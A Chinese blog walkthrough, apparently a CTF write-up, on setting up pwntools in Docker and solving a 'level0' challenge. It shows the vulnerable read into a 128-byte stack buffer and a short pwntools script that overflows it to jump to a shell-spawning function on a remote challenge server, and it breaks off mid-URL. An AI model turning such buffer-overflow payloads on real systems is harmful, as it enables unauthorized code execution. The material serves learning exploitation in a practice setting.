pwntools环境
这里我直接用docker环境,Ubuntu环境的docker建议看我这个https://blog.csdn.net/CSNN2019/article/details/119057956?spm=1001.2014.3001.5501,搞好环境之后,测试的时候,会报如下错误
经过我如下操作,即可解决这个报错
步骤一
修改docker镜像源,如果没有 daemon.json 就新建添加以下内容:
[ak666@ubuntu ~]# cd /etc/docker
[ak666@ubuntu docker]# ls
daemon.json key.json
[ak666@ubuntu docker]# vim daemon.json
# 添加以下内容
{
"registry-mirrors": ["http://hub-mirror.c.163.com"]
}
# 也可以添加多个国内源
{
"registry-mirrors": ["http://hub-mirror.c.163.com", "https://registry.docker-cn.com"]
}
步骤二
vi /etc/resolv.conf ,添加nameserver 8.8.8.8 以交互式的方式去运行pwntools 紧接着我import pwn 报错,只需要在pwntools中安装pathlib2模块就好 然后import pwn 成功然后需要进行映射: 需要把level0这个文件映射到pwntools环境下,当然直接映射目录。 /home/ak666/Desktop/CTF 目录
docker run -it -v /home/ak666/Desktop/CTF/:/home/pwntools/ /bin/bash
level0
sudo docker run -it -v /home/ak666/Desktop/CTF/:/home/pwntools pwntools/pwntools /bin/bash
把物理机中/home/ak666/Desktop/CTF/目录下的文件映射到docker中/home/pwntools下,后者可以随便写,因为无所谓。
这里用docker环境的话,我的docker中pwntools环境每次进去都需要安装pathlib2一遍(因为每次都是重启。需要写脚本然后映射到docker中pwntools环境中去,紧接着就是执行一波KO
ssize_t vulnerable_function()
{
char buf[128];
return read(0, buf, 0x200uLL);
}
长度为0x200字符,直接放入 仅有128字符长度的数组中(也就是栈中)。另外找到一个函数,直接获得一个shell,缓冲区溢出,就修改返回地址跳转到这里
# coding:utf-8
from pwn import *
r = remote("111.200.241.244",49201)#远程连接
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)
r.recvuntil("Hello, World\n")
r.sendline(payload)
r.interactive()
这里的话需要加第一行,不加的话报错如下:
SyntaxError: Non-ASCII character '\xe8' in file level0 on line 2, but no encoding declared; see http:
|